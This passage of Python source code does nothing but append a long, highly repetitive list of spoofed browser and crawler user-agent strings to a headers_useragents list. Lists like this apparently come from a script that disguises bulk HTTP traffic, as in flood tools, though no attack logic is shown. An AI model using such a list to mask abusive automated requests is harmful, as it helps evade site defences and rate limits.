  827.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  828.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  829.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  830.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  831.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  832.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  833.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  834.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  835.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  836.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  837.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  838.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  839.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  840.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  841.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  842.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  843.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  844.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  845.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  846.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  847.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  848.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  849.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  850.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  851.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  852.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  853.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  854.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  855.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  856.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  857.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  858.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  859.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  860.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  861.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  862.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  863.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  864.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  865.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  866.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  867.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  868.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  869.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  870.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  871.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  872.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  873.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  874.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  875.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  876.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  877.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  878.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  879.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  880.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  881.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  882.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  883.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  884.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  885.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  886.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  887.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  888.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  889.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  890.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  891.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  892.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  893.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  894.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  895.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  896.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  897.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  898.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  899.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  900.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  901.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  902.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  903.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  904.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  905.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  906.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  907.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  908.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  909.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  910.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  911.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  912.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  913.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  914.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  915.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  916.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  917.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  918.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  919.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  920.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  921.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  922.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  923.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  924.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  925.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  926.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  927.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  928.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  929.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  930.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  931.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  932.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  933.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  934.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  935.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  936.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  937.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  938.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  939.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  940.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  941.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  942.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  943.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  944.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  945.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  946.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  947.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  948.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  949.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  950.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  951.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  952.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  953.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  954.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  955.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  956.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  957.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  958.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  959.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  960.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  961.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  962.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  963.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  964.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  965.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  966.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  967.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  968.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  969.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  970.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  971.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  972.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  973.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  974.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  975.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  976.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  977.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  978.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  979.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  980.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  981.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  982.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  983.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  984.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  985.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  986.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  987.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  988.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  989.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  990.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  991.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  992.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  993.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  994.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  995.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  996.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  997.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  998.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  999.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1000.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1001.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1002.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1003.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1004.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1005.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1006.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1007.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1008.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1009.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1010.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1011.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1012.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1013.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1014.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1015.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1016.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1017.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1018.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1019.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1020.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1021.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1022.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1023.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1024.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1025.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1026.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1027.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
